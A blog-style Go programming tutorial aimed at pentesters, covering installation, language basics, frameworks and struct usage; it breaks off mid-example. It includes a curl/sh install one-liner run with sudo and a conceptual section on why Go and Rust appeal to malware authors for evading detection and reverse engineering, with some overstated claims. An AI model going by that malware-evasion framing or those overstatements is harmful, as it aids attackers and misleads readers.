            <content:encoded><![CDATA[<p>Whether you’re a penetration tester refining your craft, a bug bounty hunter, or a developer switching to a versatile new language, Go (aka Golang) has the power to elevate your tools and workflows. Its simplicity, performance, and ease of use make it an ideal choice for building fast and reliable CLI tools.</p><p>Get ready to unlock the potential of Go as we dive deep into its features, applications, and practical implementations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORlDe1z2OqXy2kBssW34MQ.png" /></figure><h3>Who Invented Go and Who Owns It Today?</h3><p>Go was officially announced in 2009, but development began in 2007 at Google by a trio of legendary software engineers:</p><ul><li><strong>Robert Griesemer</strong></li><li><strong>Rob Pike</strong></li><li><strong>Ken Thompson</strong> (also one of the creators of <em>UNIX</em>).</li></ul><p>Their goal was to design a language that combined the efficiency of C with the simplicity of Python, while addressing modern programming challenges like concurrency and scalable development.</p><p>Today, <strong>Google</strong> remains the principal owner and maintainer of the Go programming language. However, its development is community-driven, with an open-source model supported by contributors worldwide under the stewardship of the <strong>Go Team</strong> at Google.</p><h3>Building a Simple Tool</h3><p>Start small. Write a simple Go program that takes input from the command line, performs some logic, and outputs results. Go’s robust standard library makes it easy to get started.</p><p>To conclude, I’ll also walk you through creating a <strong>simple passive port scanner in Go</strong> that integrates advanced features like <strong>rate limit handling</strong>, <strong>Shodan API queries</strong>, and the usage of <strong>AllOrigins as a proxy</strong>. This scanner not only demonstrates Go’s concurrency and API handling but also serves as a great starting point for building more advanced tools.</p><h3>Step 1: Download Go</h3><p>Your first quest starts at the <a href="https://golang.org/dl/">official Go download page</a>. Here you’ll find the latest shiny releases and some pre-release goodies for the brave.</p><h3>Step 2: Check Your Computer’s Architecture</h3><p>Before grabbing your Go, let’s ensure you’re picking the right flavor. Open a terminal and summon the following spell:</p><pre>$ uname -m</pre><p>This reveals your machine’s processor architecture. Go supports x86, x86–64, ARM (various flavors), and even the mysterious ppc64le and s390x.</p><h3>Step 3: Download the Go Archive</h3><p>Head back to the Go download page and grab the tarball matching your architecture. You can use a browser or a CLI tool like wget or curl.</p><h3>Step 4: Verify the Archive Hash</h3><p>Never trust blindly — verify! Compare the SHA256 hash of your download with the one on the website. In the terminal, cast:</p><pre>$ sha256sum go1.*.*.linux-amd64.tar.gz</pre><p>If the hash matches, you’re good to proceed. If not, you might have stumbled into the realm of corrupted downloads or tampered files. Try again, brave soul!</p><h3>Step 5: Unleash the Archive</h3><p>Use the tar command to unleash Go from its tarball prison:</p><pre>tar -xzvf go1.*.*.linux-amd64.tar.gz</pre><p>A directory named go will appear like magic in your current directory. That’s your treasure chest.</p><h3>Step 6: Set Your PATH</h3><p>To wield Go from anywhere, you must update your PATH environment variable. Open your .bashrc or .bash_profile (whichever your system prefers) and add this line:</p><pre>export PATH=$PATH:/path/to/go/bin</pre><p>Replace /path/to/go with the actual path to the go directory. Save your changes.</p><h3>Step 7: Reload Your Shell</h3><p>Refresh your terminal’s magic spells by reloading your profile:</p><pre>$ source ~/.zshrc</pre><p>Now Go’s commands should work globally. You’re almost ready to rule.</p><p>Here’s a one-liner bash script that downloads the latest version of Go, installs it, and sets up the environment variables.</p><p>This script assumes you’re running on Linux or macOS:</p><pre>curl -s https://go.dev/VERSION?m=text | xargs -I {} sh -c &#39;wget https://go.dev/dl/{}.linux-amd64.tar.gz -O go.tar.gz &amp;&amp; sudo rm -rf /usr/local/go &amp;&amp; sudo tar -C /usr/local -xzf go.tar.gz &amp;&amp; rm go.tar.gz &amp;&amp; echo &quot;export PATH=\$PATH:/usr/local/go/bin&quot; | tee -a ~/.zshrc &amp;&amp; source ~/.zshrc &amp;&amp; echo -en &quot;Go {} installed successfully!&quot;&#39;</pre><h3>Step 8: Test Your Installation</h3><p>Let’s ensure everything is working. Run:</p><pre>$ go version</pre><p>If Go responds with its version and your system details, congratulations! You’re officially a Go adventurer.</p><h3>Step 9: Understand Go Environment Variables</h3><p>Go has a few key environment variables that shape your development journey. Here are the MVPs:</p><ul><li><strong>GOPATH</strong>: Where your Go workspace lives.</li><li><strong>GOROOT</strong>: Where Go is installed (hands off this one!).</li><li><strong>GOBIN</strong>: Where your compiled binaries land.</li></ul><p>To see them all, try:</p><pre>$ go env</pre><p>This can be your guide when debugging setup issues.</p><h3>Let’s Write a Go Program!</h3><p>Here’s your first Go— a simple Hello, World! program:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    fmt.Println(&quot;Hello, World!&quot;)<br>}</pre><p>Save it as main.go and run it with:</p><pre>$ go run main.go</pre><p>You should see “Hello, World!” greet you from the console.</p><p>Ready to level up? Let’s compile it into a binary:</p><pre>$ go build -o HelloWorld main.go</pre><p>Now you have an executable! No more dependencies — share it with your friends or enemies.</p><h3>Why Go is a Pentester’s Best Friend</h3><p>Go’s magic lies in its simplicity, speed, and cross-compilation abilities. CLI tools built with Go are fast, lightweight, and can be compiled for any platform — perfect for pentesters who need portable, efficient tools.</p><ul><li><strong>Concurrency</strong>: Go’s goroutines make handling multiple tasks simultaneously a breeze.</li><li><strong>Static Binaries</strong>: Ship your tools without worrying about dependencies.</li><li><strong>Performance</strong>: Go’s speed rivals C/C++ but with modern ease of use.</li></ul><p>Gois not just a general-purpose programming language; it has become an invaluable tool for developers, security professionals, and even malware creators due to its unique features. Here’s why Go stands out in various domains:</p><h3>1. Tool Development</h3><p>Go is ideal for creating robust, efficient command-line tools that can be cross-compiled and used across multiple operating systems. This makes it perfect for developing tools used in cybersecurity and other fields.</p><ul><li><strong>Performance</strong>: Go offers performance close to C/C++ but with modern features that simplify development.</li><li><strong>Static Binaries</strong>: Go produces single, self-contained binaries, eliminating dependency issues. This makes Go tools portable and easy to distribute.</li><li><strong>Concurrency</strong>: Go’s lightweight goroutines enable handling thousands of simultaneous tasks, ideal for scanning, brute-forcing, or processing large datasets.</li><li><strong>Cross-Platform Compilation</strong>: Build your tools for Windows, Linux, or macOS effortlessly using Go’s GOOS and GOARCH options.</li></ul><h4>Examples of Tools Built in Go</h4><ul><li><a href="https://github.com/owasp-amass"><strong>Amass</strong></a>: Subdomain enumeration and OSINT tool.</li><li><a href="https://github.com/OJ/gobuster"><strong>Gobuster</strong></a>: Directory and DNS brute-forcing.</li><li><a href="https://github.com/projectdiscovery/subfinder"><strong>Subfinder</strong></a>: Subdomain discovery.</li></ul><h3>2. Malware Development</h3><p>Go’s increasing adoption has extended to less ethical use cases, such as malware development. Here’s why Go is gaining traction in this space:</p><ul><li><strong>Cross-Compilation</strong>: Malware authors can compile binaries for any platform, increasing the malware’s reach.</li><li><strong>Static Binaries</strong>: The inclusion of all dependencies makes detection harder, as malware doesn’t rely on external libraries.</li><li><strong>Obfuscation and Size</strong>: Go binaries are often larger, but this can sometimes bypass simplistic signature-based detection mechanisms.</li><li><strong>Concurrency</strong>: Go’s goroutines simplify tasks like scanning networks or managing large botnets.</li></ul><p>While Rust is often chosen for advanced, performance-critical scenarios, Go remains a favorite for its simplicity and rapid development cycle.</p><h4>Go vs. Rust in Malware Development</h4><p>Rust has an inherent advantage when it comes to protecting binaries from reverse engineering:</p><ol><li><strong>LLVM Optimizations</strong>: Rust’s compiler applies aggressive optimizations that generate highly optimized, hard-to-read machine code, making it difficult for reverse engineers to understand the underlying logic.</li><li><strong>Lack of Decompilers</strong>: While Go has mature decompilers and debuggers, Rust lacks comprehensive decompilation tools, providing an additional layer of security for binaries.</li><li><strong>Complex Binary Output</strong>: The intricate nature of Rust’s memory safety features (like borrow checking and lifetimes) results in binaries that are harder to analyze compared to those written in Go.</li><li><strong>Code Obfuscation</strong>: Rust’s community has begun integrating advanced obfuscation techniques into build processes, further complicating analysis.</li></ol><h3>Go</h3><p><strong>Advantages</strong>:</p><ul><li><strong>Ease of Development</strong>: Simple syntax and rapid prototyping.</li><li><strong>Cross-Platform</strong>: Effortless compilation for multiple OS.</li><li><strong>Concurrency</strong>: Efficient multitasking with goroutines.</li><li><strong>Mature Ecosystem</strong>: Abundant libraries and debugging tools.</li></ul><p><strong>Disadvantages</strong>:</p><ul><li><strong>Large Binaries</strong>: Statically linked, ~10–20 MB.</li><li><strong>Easier to Reverse Engineer</strong>: Well-developed decompilers.</li><li><strong>Limited Obfuscation</strong>: Less protection for binaries.</li></ul><h3>Rust</h3><p><strong>Advantages</strong>:</p><ul><li><strong>Anti-Reversibility</strong>: LLVM optimizations, complex binaries, limited decompilers.</li><li><strong>High Performance</strong>: Minimal runtime overhead, memory safety.</li><li><strong>Obfuscation</strong>: Emerging tools enhance security.</li></ul><p><strong>Disadvantages</strong>:</p><ul><li><strong>Steep Learning Curve</strong>: Borrow checker and syntax require more effort.</li><li><strong>Slower Prototyping</strong>: Complex development process.</li></ul><p>These features make Rust particularly appealing for use cases where code confidentiality and resistance to reverse engineering are critical, such as:</p><ul><li>Proprietary software.</li><li>Advanced malware development.</li><li>Secure tools for penetration testing.</li></ul><p><strong>Choosing Between Go and Rust</strong></p><ul><li><strong>Use Go</strong> when simplicity, speed of development, and ease of distribution are priorities. It’s excellent for creating tools quickly without compromising performance.</li><li><strong>Use Rust</strong> when performance, security, and anti-reversibility are critical. For projects requiring low-level control or protection against reverse engineering, Rust is unmatched.</li></ul><h3>3. Penetration Testing</h3><p>Go has made a significant impact on penetration testing due to its versatility and efficiency. Here’s why it’s a pentester’s best friend:</p><h4>Key Advantages</h4><ol><li><strong>Concurrency for Efficiency</strong>:</li></ol><ul><li>Tasks like network scans, brute-forcing, and multi-threaded operations can be implemented with ease using goroutines and channels.</li><li>Example: Tools like Gobuster and Subfinder leverage Go’s concurrency to achieve exceptional speed.</li></ul><p>2. <strong>Static Binaries for Portability</strong>:</p><ul><li>Compile your tools into self-contained binaries that work on any OS. This is critical when deploying tools in restricted or resource-limited environments.</li><li>Example: Pentesters can create single executables for Linux, macOS, and Windows without modifying the source code.</li></ul><p>3.<strong> High Performance</strong>:</p><ul><li>Go delivers the speed of C/C++ with a more modern and developer-friendly language.</li><li>This performance is critical in time-sensitive pentesting tasks like fuzzing or large-scale enumeration.</li></ul><p><strong>4. Broader Use Cases:</strong></p><ul><li><strong>Systems Programming</strong>: With its low-level capabilities, Go is increasingly used for systems-level tasks such as building container runtimes (e.g., Docker).</li><li><strong>Cloud and DevOps</strong>: Go is the backbone of tools like Kubernetes and Terraform, making it an industry standard for cloud and infrastructure development.</li><li><strong>Web and API Development</strong>: Its fast HTTP server capabilities make it an excellent choice for APIs and microservices.</li><li><strong>Data Processing</strong>: Concurrency in Go is a game-changer for large-scale data processing pipelines.</li></ul><h4>Popular Penetration Testing Tools in Go</h4><ul><li><a href="https://github.com/ffuf/ffuf"><strong>ffuf</strong></a>: Fast web fuzzer.</li><li><a href="https://github.com/projectdiscovery/httpx"><strong>httpx</strong></a>: HTTP probing and reconnaissance.</li><li><a href="https://github.com/hakluke/hakrawler"><strong>Hakrawler</strong></a>: Web spidering and content discovery.</li></ul><h3>Go Basics: Variables, Constants, and More</h3><p>Let’s expand our horizons. Here’s a Go program showcasing variables and constants:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    var age int32 = 37<br>    const pi = 3.14159<br>    var salary = 100000.0<br>    var width, height int = 100, 50<br>    var name string<br>    name = &quot;anonymous&quot;<br>    surname := &quot;anonymous&quot;<br>    fmt.Println(&quot;Age:&quot;, age)<br>    fmt.Println(&quot;Pi:&quot;, pi)<br>    fmt.Println(&quot;Salary:&quot;, salary)<br>    fmt.Println(&quot;Width:&quot;, width)<br>    fmt.Println(&quot;Height:&quot;, height)<br>    fmt.Println(&quot;Name:&quot;, name)<br>    fmt.Println(&quot;Surname:&quot;, surname)<br>}</pre><h3>The Highlights:</h3><ul><li><strong>Variables</strong>: Declared with var or shorthand :=.</li><li><strong>Constants</strong>: Declared with const and immutable.</li><li><strong>Type Inference</strong>: Go guesses types when not explicitly stated.</li></ul><p>Run the program, and you’ll see all your variables printed to the console.</p><h3>If-Else Magic</h3><p>Go’s control structures are clean and powerful. Here’s a basic if-else example:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x := 133<br>    y := 7<br>    if x &gt; y {<br>        fmt.Println(&quot;x is greater than y&quot;)<br>    } else {<br>        fmt.Println(&quot;y is greater than x&quot;)<br>    }<br>}</pre><p>Want to go deeper? Nest those conditions:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x, y, z := 10, 5, 15<br>    if x &gt; y {<br>        if x &gt; z {<br>            fmt.Println(&quot;x is the greatest&quot;)<br>        } else {<br>            fmt.Println(&quot;z is the greatest&quot;)<br>        }<br>    } else {<br>        if y &gt; z {<br>            fmt.Println(&quot;y is the greatest&quot;)<br>        } else {<br>            fmt.Println(&quot;z is the greatest&quot;)<br>        }<br>    }<br>}</pre><h3>Switch Statements</h3><p>Switch statements are another type of control statement in Golang that allows you to specify a set of conditions and the code that should be executed based on those conditions. They provide a concise way to test multiple values.</p><h4>Syntax and Examples</h4><p>Here is the syntax for a switch statement:</p><pre>switch expression {<br>case value1:<br>    // code to execute if expression == value1<br>case value2:<br>    // code to execute if expression == value2<br>    ...<br>default:<br>    // code to execute if no case matches<br>}</pre><p><strong>Example:</strong></p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x := 10<br>    switch x {<br>    case 1:<br>        fmt.Println(&quot;x is 1&quot;)<br>    case 10:<br>        fmt.Println(&quot;x is 10&quot;)<br>    default:<br>        fmt.Println(&quot;x is not 1 or 10&quot;)<br>    }<br>}</pre><h4>Multiple Values in a Case</h4><p>You can specify multiple values in a single case:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x := 10<br>    switch x {<br>    case 1, 5, 10:<br>        fmt.Println(&quot;x is 1, 5, or 10&quot;)<br>    case 100:<br>        fmt.Println(&quot;x is 100&quot;)<br>    default:<br>        fmt.Println(&quot;x is not 1, 5, 10, or 100&quot;)<br>    }<br>}</pre><h4>Using Switch as a Shorter If-Else</h4><p>You can omit the expression in a switch statement to use it as a shorter if-else construct:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x := true<br>    switch {<br>    case x == true:<br>        fmt.Println(&quot;x is true&quot;)<br>    case x == false:<br>        fmt.Println(&quot;x is false&quot;)<br>    }<br>}</pre><h4>Fallthrough Keyword</h4><p>The fallthrough keyword forces execution of the subsequent case:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    x := 10<br>    switch x {<br>    case 1:<br>        fmt.Println(&quot;x is 1&quot;)<br>        fallthrough<br>    case 10:<br>        fmt.Println(&quot;x is 10&quot;)<br>    case 100:<br>        fmt.Println(&quot;x is 100&quot;)<br>    default:<br>        fmt.Println(&quot;x is not 1, 10, or 100&quot;)<br>    }<br>}</pre><h3>For Loops</h3><p>For loops are used to repeat a block of code a specific number of times.</p><h4>Syntax and Basic Examples</h4><pre>for initialization; condition; post {<br>    // code to execute<br>}</pre><p><strong>Example:</strong></p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    for i := 0; i &lt; 5; i++ {<br>        fmt.Println(i)<br>    }<br>}</pre><h4>Using For as a While Loop</h4><p>Omit initialization and post statements to create a while loop:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    i := 0<br>    for i &lt; 5 {<br>        fmt.Println(i)<br>        i++<br>    }<br>}</pre><h4>Using Range with For Loops</h4><p>The range keyword iterates over collections:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    numbers := []int{1, 2, 3, 4, 5}<br>    for i, num := range numbers {<br>        fmt.Println(&quot;Index:&quot;, i, &quot;Value:&quot;, num)<br>    }<br>}</pre><h3>Break and Continue</h3><p>The break statement exits a loop early, while continue skips the current iteration.</p><h4>Break Example</h4><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    for i := 0; i &lt; 5; i++ {<br>        if i == 3 {<br>            break<br>        }<br>        fmt.Println(i)<br>    }<br>}</pre><h4>Continue Example</h4><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    for i := 0; i &lt; 5; i++ {<br>        if i == 3 {<br>            continue<br>        }<br>        fmt.Println(i)<br>    }<br>}</pre><h3>Functions in Golang</h3><p>Functions are reusable blocks of code that perform specific tasks, enabling better organization and efficiency.</p><h4>Definition and Purpose</h4><p>A function is a block of code designed to perform a task. Functions in Golang can:</p><ul><li>Perform repetitive tasks</li><li>Break down complex problems</li><li>Promote code reusability</li></ul><p>Golang functions support features like multiple return values, closures, and variadic parameters.</p><h4>Syntax and Structure</h4><p>Define a function using the func keyword:</p><pre>func myFunction() {<br>    // code to execute<br>}</pre><h4>Function Signature and Parameters</h4><p>Functions can take parameters and return values:</p><pre>func add(a int, b int) int {<br>    return a + b<br>}</pre><h4>Multiple Return Values</h4><pre>func swap(a, b string) (string, string) {<br>    return b, a<br>}</pre><h4>Shorthand Notation</h4><p>For parameters of the same type:</p><pre>func add(a, b int) int {<br>    return a + b<br>}</pre><h4>Calling Functions</h4><p>Invoke a function by its name:</p><pre>result := add(2, 3)</pre><p>Capture multiple return values:</p><pre>first, second := swap(&quot;Hello&quot;, &quot;World&quot;)</pre><h4>Function Scope</h4><p>Variables defined inside a function are locally scoped:</p><pre>var globalVariable int<br><br>func myFunc() {<br>    localVariable := 2<br>    // do something with localVariable<br>}</pre><h4>Anonymous Functions</h4><p>Functions without a name can be immediately invoked:</p><pre>package main<br><br>import &quot;fmt&quot;<br>func main() {<br>    func() {<br>        fmt.Println(&quot;Hello, World!&quot;)<br>    }()<br>}</pre><h4>Closures</h4><p>Closures retain access to variables in their defining scope:</p><pre>func sayHello() func() string {<br>    hey := &quot;Hello&quot;<br>    return func() string {<br>        return hey<br>    }<br>}</pre><p>Closures are useful for callbacks, event handlers, and more.</p><h3>Variadic Functions</h3><p>First, let’s talk about variadic functions. A variadic function is a function that can accept a variable number of arguments. You can define a variadic function in Golang by using the ... in the type of the last parameter. For example:</p><pre>func sum(numbers ...int) int {<br>    total := 0<br>    for _, num := range numbers {<br>        total += num<br>    }<br>    return total<br>}</pre><p>Here, the numbers parameter is of type []int and can accept any number of integer arguments. You can call the function with zero or more arguments:</p><pre>fmt.Println(sum())         // Output: 0<br>fmt.Println(sum(1, 2, 3)) // Output: 6</pre><p>Variadic functions are especially useful for implementing utility functions like fmt.Printf.</p><h3>Defer Keyword</h3><p>The defer keyword schedules a function call to be executed right before the surrounding function returns. This is particularly useful for resource cleanup. Here’s an example:</p><pre>func readFile(filename string) {<br>    file, err := os.Open(filename)<br>    if err != nil {<br>        log.Fatal(err)<br>    }<br>    defer file.Close()<br><br>// Process the file<br>    content, _ := ioutil.ReadAll(file)<br>    fmt.Println(string(content))<br>}</pre><p>The defer statement ensures the file is closed even if an error occurs during processing.</p><h3>Recursion</h3><p>Recursion is a technique where a function calls itself to solve smaller instances of a problem. It’s important to define a base case to prevent infinite recursion.</p><h4>Example 1: Factorial</h4><pre>func factorial(n int) int {<br>    if n == 0 {<br>        return 1<br>    }<br>    return n * factorial(n-1)<br>}</pre><h4>Example 2: Fibonacci Sequence</h4><pre>func fibonacci(n int) int {<br>    if n &lt;= 1 {<br>        return n<br>    }<br>    return fibonacci(n-1) + fibonacci(n-2)</pre><p>Recursion is elegant but may not always be the most efficient solution due to potential stack overflow or performance issues.</p><h3>Higher-Order Functions</h3><p>Higher-order functions are functions that accept other functions as arguments or return them. This is a powerful feature for creating reusable abstractions.</p><h4>Example: Map Function</h4><pre>func mapFunc(arr []int, fn func(int) int) []int {<br>    result := make([]int, len(arr))<br>    for i, v := range arr {<br>        result[i] = fn(v)<br>    }<br>    return result<br>}<br><br>func main() {<br>    nums := []int{1, 2, 3}<br>    squared := mapFunc(nums, func(x int) int { return x * x })<br>    fmt.Println(squared) // Output: [1 4 9]<br>}</pre><p>Higher-order functions provide a declarative way to work with data transformations.</p><h3>Interfaces</h3><p>Interfaces define a set of method signatures and provide a way to achieve polymorphism in Go.</p><h4>Example: Polymorphism with Interfaces</h4><pre>type Shape interface {<br>    Area() float64<br>}<br><br>type Circle struct {<br>    Radius float64<br>}<br>func (c Circle) Area() float64 {<br>    return math.Pi * c.Radius * c.Radius<br>}<br>type Rectangle struct {<br>    Width, Height float64<br>}<br>func (r Rectangle) Area() float64 {<br>    return r.Width * r.Height<br>}<br>func printArea(s Shape) {<br>    fmt.Println(s.Area())<br>}<br>func main() {<br>    c := Circle{Radius: 5}<br>    r := Rectangle{Width: 4, Height: 6}<br>    printArea(c) // Output: 78.54<br>    printArea(r) // Output: 24<br>}</pre><p>Interfaces allow us to write flexible and reusable code.</p><h3>Custom Error Types</h3><p>Go’s error handling can be extended by creating custom error types.</p><h4>Example: Custom Error Type</h4><pre>type AppError struct {<br>    Code    int<br>    Message string<br>}<br><br>func (e *AppError) Error() string {<br>    return fmt.Sprintf(&quot;Error %d: %s&quot;, e.Code, e.Message)<br>}<br>func doSomething(flag bool) error {<br>    if !flag {<br>        return &amp;AppError{Code: 123, Message: &quot;Something went wrong&quot;}<br>    }<br>    return nil<br>}<br>func main() {<br>    if err := doSomething(false); err != nil {<br>        fmt.Println(err)<br>    }<br>}</pre><p>Custom error types provide more context for debugging.</p><h3>Buffered Channels</h3><p>Buffered channels can hold a limited number of values without requiring a receiver to be ready.</p><h4>Example: Buffered Channel</h4><pre>func main() {<br>    ch := make(chan string, 2)<br><br>ch &lt;- &quot;hello&quot;<br>    ch &lt;- &quot;world&quot;<br>    fmt.Println(&lt;-ch) // Output: hello<br>    fmt.Println(&lt;-ch) // Output: world<br>}</pre><p>Buffered channels are useful when you want to decouple the sender and receiver.</p><h3>Testing in Go</h3><p>Go has a built-in testing package for writing unit tests.</p><h4>Example: Writing a Test</h4><pre>package main<br><br>import &quot;testing&quot;<br>func Add(a, b int) int {<br>    return a + b<br>}<br>func TestAdd(t *testing.T) {<br>    result := Add(2, 3)<br>    if result != 5 {<br>        t.Errorf(&quot;Expected 5, got %d&quot;, result)<br>    }<br>}</pre><p>Run tests with:</p><pre>go test</pre><p>Testing ensures code reliability and simplifies maintenance.</p><p>Some popular frameworks for web development include Gin, Echo, and Beego.</p><p>Gin is known for its speed and low memory usage, while Echo is known for its simplicity and flexibility.</p><p>Beego is a full-stack web framework that provides ORM, routing, and other features out of the box.</p><p>For microservices, you might consider frameworks like Go Micro or KrakenD.</p><p>Gin example:</p><pre>package main<br><br>import (<br> &quot;github.com/gin-gonic/gin&quot;<br> &quot;net/http&quot;<br>)<br>func main() {<br> r := gin.Default()<br> r.GET(&quot;/&quot;, func(c *gin.Context) {<br>  c.JSON(http.StatusOK, gin.H{&quot;message&quot;: &quot;Welcome to Gin Framework!&quot;})<br> })<br> r.Run(&quot;:8080&quot;)<br>}</pre><p>Echo example:</p><pre>package main<br><br>import (<br> &quot;github.com/labstack/echo/v4&quot;<br> &quot;net/http&quot;<br>)<br>func main() {<br> e := echo.New()<br> e.GET(&quot;/&quot;, func(c echo.Context) error {<br>  return c.String(http.StatusOK, &quot;Welcome to Echo Framework!&quot;)<br> })<br> e.Logger.Fatal(e.Start(&quot;:1323&quot;))<br>}</pre><p>Beego example:</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br> &quot;github.com/astaxie/beego&quot;<br> &quot;github.com/astaxie/beego/orm&quot;<br> _ &quot;github.com/go-sql-driver/mysql&quot;<br>)<br>type User struct {<br> Id   int<br> Name string<br>}<br>func init() {<br> orm.RegisterDataBase(&quot;default&quot;, &quot;mysql&quot;, &quot;root:password@/test?charset=utf8&quot;, 30)<br> orm.RegisterModel(new(User))<br>}<br>func main() {<br> o := orm.NewOrm()<br> user := User{Name: &quot;new_user&quot;}<br> id, err := o.Insert(&amp;user)<br> if err != nil {<br>  fmt.Println(&quot;Insert Error:&quot;, err)<br> } else {<br>  fmt.Println(&quot;User ID:&quot;, id)<br> }<br>}</pre><p>As you can see, each framework has its strengths and weaknesses. You should consider your project’s requirements and choose the framework that best fits your needs.</p><p>Next, let’s talk about <strong>Golang package managers</strong> and dependency managers. Effective dependency management is essential for maintaining a robust Golang project. Tools like go get and go mod allow you to easily handle your project&#39;s dependencies—whether installing, updating, or removing packages.</p><p>Example:</p><pre># Using go mod (modern and recommended)<br>$ go mod init github.com/example/mymodule  # Initialize a new module<br>$ go get github.com/gin-gonic/gin  # Add a dependency<br><br># Legacy Tools (Not Recommended)<br># Using dep<br>$ dep ensure<br><br># Using Glide<br>$ glide get github.com/gin-gonic/gin<br><br># Using Godep<br>$ godep get github.com/gin-gonic/gin</pre><p>Dependency managers help ensure your project’s dependencies remain consistent and manageable. They streamline the process of integrating external libraries into your codebase, saving time and reducing potential errors.</p><p>Finally, let’s talk about some other popular Golang tools and frameworks. If you need to write tests for your Golang code, you might consider using the testing package or a testing framework like Ginkgo.</p><p>For logging and monitoring, you might consider using frameworks like Zap or Prometheus.</p><p>And if you need to work with databases, you might consider using a package like GORM or a framework like Buffalo.</p><p>Ginkgo example:</p><pre>package main<br><br>import (<br> . &quot;github.com/onsi/ginkgo&quot;<br> . &quot;github.com/onsi/gomega&quot;<br>)<br>var _ = Describe(&quot;Calculator&quot;, func() {<br> Context(&quot;Addition&quot;, func() {<br>  It(&quot;adds two numbers correctly&quot;, func() {<br>   sum := 2 + 3<br>   Expect(sum).To(Equal(5))<br>  })<br> })<br>})</pre><p>Zap example:</p><pre>package main<br><br>import (<br> &quot;go.uber.org/zap&quot;<br>)<br>func main() {<br> logger, _ := zap.NewProduction()<br> defer logger.Sync()<br> sugar := logger.Sugar()<br> sugar.Infof(&quot;Logging example with Zap Framework&quot;)<br>}</pre><p>Prometheus example:</p><pre>package main<br><br>import (<br> &quot;net/http&quot;<br> &quot;github.com/prometheus/client_golang/prometheus/promhttp&quot;<br>)<br>func main() {<br> http.Handle(&quot;/metrics&quot;, promhttp.Handler())<br> http.ListenAndServe(&quot;:8080&quot;, nil)<br>}</pre><p>GORM example:</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br> &quot;gorm.io/driver/mysql&quot;<br> &quot;gorm.io/gorm&quot;<br>)<br>type User struct {<br> gorm.Model<br> Name string<br>}<br>func main() {<br> dsn := &quot;user:password@tcp(localhost:3306)/mydb?charset=utf8&amp;parseTime=True&amp;loc=Local&quot;<br> db, err := gorm.Open(mysql.Open(dsn), &amp;gorm.Config{})<br> if err != nil {<br>  panic(&quot;failed to connect database&quot;)<br> }<br> db.AutoMigrate(&amp;User{})<br> db.Create(&amp;User{Name: &quot;Alice&quot;})<br> var user User<br> db.First(&amp;user, 1)<br> fmt.Println(user.Name)<br> db.Model(&amp;user).Update(&quot;Name&quot;, &quot;Bob&quot;)<br> db.Delete(&amp;user)<br>}</pre><p>Buffalo example:</p><pre>package main<br><br>import (<br> &quot;github.com/gobuffalo/buffalo&quot;<br>)<br>func main() {<br> app := buffalo.New(buffalo.Options{})<br> app.GET(&quot;/&quot;, func(c buffalo.Context) error {<br>  return c.Render(200, r.String(&quot;Hello from Buffalo!&quot;))<br> })<br> app.Serve()<br>}</pre><p>As you can see, Golang offers a wide range of tools and frameworks that can simplify your development process. By choosing the right framework for your project and using package managers and dependency managers effectively, you can write high-quality code more efficiently.</p><p>In summary, Golang tools and frameworks can simplify development by providing useful functionalities out of the box, and package managers and dependency managers can make it easy to manage third-party libraries and dependencies.</p><p>When choosing a library or framework for your project, consider its compatibility with your project’s requirements and the level of support and community behind it.</p><h3><strong>What is a struct in Go?</strong></h3><p>A struct is a composite data type that groups together zero or more values of any type. Think of a struct like a container that can hold different pieces of information — kind of like a class in object-oriented programming.</p><p><strong>How to define a struct in Go:</strong></p><p>In Go, you define a struct using the type keyword followed by the name of your struct and then a set of curly braces containing the fields of your struct. Here’s an example:</p><pre>type Person struct {<br>	Name string<br>	Age  int<br>}</pre><p><strong>How to use a struct in Go:</strong></p><p>To use a struct in Go, you first need to create an instance of the struct. Here’s an example:</p><pre>person := Person{Name: &quot;John&quot;, Age: 30}</pre><p><strong>Accessing fields of a struct:</strong></p><pre>fmt.Println(person.Name)<br>fmt.Println(person.Age)</pre><p><strong>Struct initialization:</strong></p><pre>alice := &amp;Person{Name: &quot;Alice&quot;, Age: 25}<br>fmt.Println(alice)</pre><p><strong>Embedded structs:</strong></p><pre>type Address struct {<br>	City  string<br>	State string<br>}<br><br>type Person struct {<br> Name    string<br> Age     int<br> Address Address<br>}</pre><p><strong>Using pointers with structs:</strong></p><pre>func updateAge(p *Person, newAge int) {<br>	p.Age = newAge<br>}<br><br>person := Person{Name: &quot;Eve&quot;, Age: 20}<br>updateAge(&amp;person, 25)<br>fmt.Println(person.Age)</pre><p><strong>Customizing struct field names:</strong></p><pre>type Person struct {<br>	Name string `json:&quot;name&quot;`<br>	Age  int    `json:&quot;age&quot;`<br>}</pre><p><strong>Anonymous structs:</strong></p><pre>person := struct {<br>	Name string<br>	Age  int<br>}{Name: &quot;Anonymous&quot;, Age: 999}<br>fmt.Println(person)</pre><p><strong>Nested structs:</strong></p><pre>type Person struct {<br>	Name    string<br>	Age     int<br>	Address struct {<br>		City  string<br>		State string<br>	}<br>}<br><br>person := Person{<br> Name: &quot;Lyn&quot;,<br> Age:  23,<br> Address: struct {<br>  City  string<br>  State string<br> }{City: &quot;LA&quot;, State: &quot;California&quot;},<br>}<br>fmt.Println(person.Address.City)</pre><h3>File I/O in Golang:</h3><p><strong>Opening a file for reading:</strong></p><pre>file, err := os.Open(&quot;input.txt&quot;)<br>if err != nil {<br>	log.Fatal(err)<br>}<br>defer file.Close()</pre><p><strong>Reading file line by line:</strong></p><pre>package main<br><br>import (<br> &quot;bufio&quot;<br> &quot;fmt&quot;<br> &quot;log&quot;<br> &quot;os&quot;<br>)<br><br>func main() {<br> // Open the file<br> file, err := os.Open(&quot;example.txt&quot;)<br> if err != nil {<br>  log.Fatalf(&quot;Failed to open file: 